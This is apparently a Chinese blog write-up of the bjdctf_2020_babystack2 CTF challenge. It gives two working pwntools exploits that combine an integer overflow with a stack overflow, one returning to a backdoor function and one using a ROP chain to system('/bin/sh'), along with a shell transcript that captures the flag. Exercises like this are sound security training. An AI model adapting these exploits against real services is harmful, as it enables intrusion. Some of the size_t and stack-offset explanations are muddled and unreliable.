bjdctf_2020_babystack2 1

例题:bjdctf_2020_babystack2 1

首先检查一下文件:

C:\Users\A\Downloads>checksec bjdctf_2020_babystack2
[*] 'C:\\Users\\A\\Downloads\\bjdctf_2020_babystack2'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
  • 64位程序,小端序
  • GOT只读
  • 没有栈保护
  • 栈不可执行
  • 地址固定
  • 保留了字符表和调试信息

简单运行一下程序:
image

看一下main函数:
image
根据图中这几个,可以看出,这是一个栈溢出 + 整数溢出漏洞的题。

  • 垃圾数据长度:0x10 + 8
  • 整数溢出:size_t相当于unsigned int类型,即无符号类型,其取最大值0xffffffff(即4294967295)时,转成int类型时,取最小值-1。就可以绕过。

接下来我们查找一下ret,以防万一有栈对齐

┌──(venv)─(kali㉿kali)-[~/Desktop/ctf/pwn/attack]
└─$ ROPgadget --binary bjdctf_2020_babystack2 --only "pop|ret"
Gadgets information
============================================================
0x000000000040088c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400892 : pop r15 ; ret
0x000000000040088b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop rbp ; ret
0x0000000000400893 : pop rdi ; ret
0x0000000000400891 : pop rsi ; pop r15 ; ret
0x000000000040088d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400599 : ret

Unique gadgets found: 11

这里我们用:

0x0000000000400599 : ret

解法1:后门函数

最简单的做法,看到程序里有个后门函数:backdoor()
image

from pwn import *
#context.log_level = 'debug'
file = "./bjdctf_2020_babystack2"
elf = ELF(file)
backdoor = elf.symbols["backdoor"]
offset = 0x10 + 8

local = 2
if local == 1:
  io = process(file)
else:
  io = remote("node5.buuoj.cn",28836)

pay = b'4294967295'
io.recvuntil(b"name:\n")
io.sendline(pay)

# 这里远程可以直接打,但我本地kali打需要有ret栈对齐。因此要看环境。
pay = b'a' * offset + p64(backdoor)
io.recvuntil(b'name?\n')
io.send(pay)

io.interactive()

解法2:ROP构造

这个其实就是自己构造system函数,没啥好说的。只是需要注意这个打远程需要ret进行栈对齐。

from pwn import *
#context.log_level = 'debug'
file = "./bjdctf_2020_babystack2"
elf = ELF(file)
system_plt = elf.plt["system"]
bin_sh = 0x4008b8
pop_rdi_ret = 0x400893
ret = 0x400599
offset = 0x10 + 8

local = 2
if local == 1:
    io = process(file)
else:
    io = remote("node5.buuoj.cn",28836)

pay = b'4294967295'
io.recvuntil(b"name:\n")
io.sendline(pay)

pay = b'a' * offset + p64(ret) +  p64(pop_rdi_ret) + p64(bin_sh) + p64(system_plt)
io.recvuntil(b'name?\n')
io.send(pay)

io.interactive()

也可以获得flag:

点击查看代码
[+] Opening connection to node5.buuoj.cn on port 28836: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{37ff6211-3ad6-4058-8d1f-dcc37f57b4e1}
$ 
[*] Closed connection to node5.buuoj.cn port 28836

疑惑点

这里有个神奇的现象,看一下buf的栈:
image
会发现这里没有平时见到的s(我们平时默认保存bp的地方)。但这里垃圾数据长度仍然是0x10 + 8
因为dq是占8字节的,buf是数组,占12字节,加上中间空余的1字节db,合起来就是12 + 8 + 4 = 24 = 0x18 (字节)

posted @ 2025-08-08 21:32  星冥鸢  阅读(60)  评论(0)    收藏  举报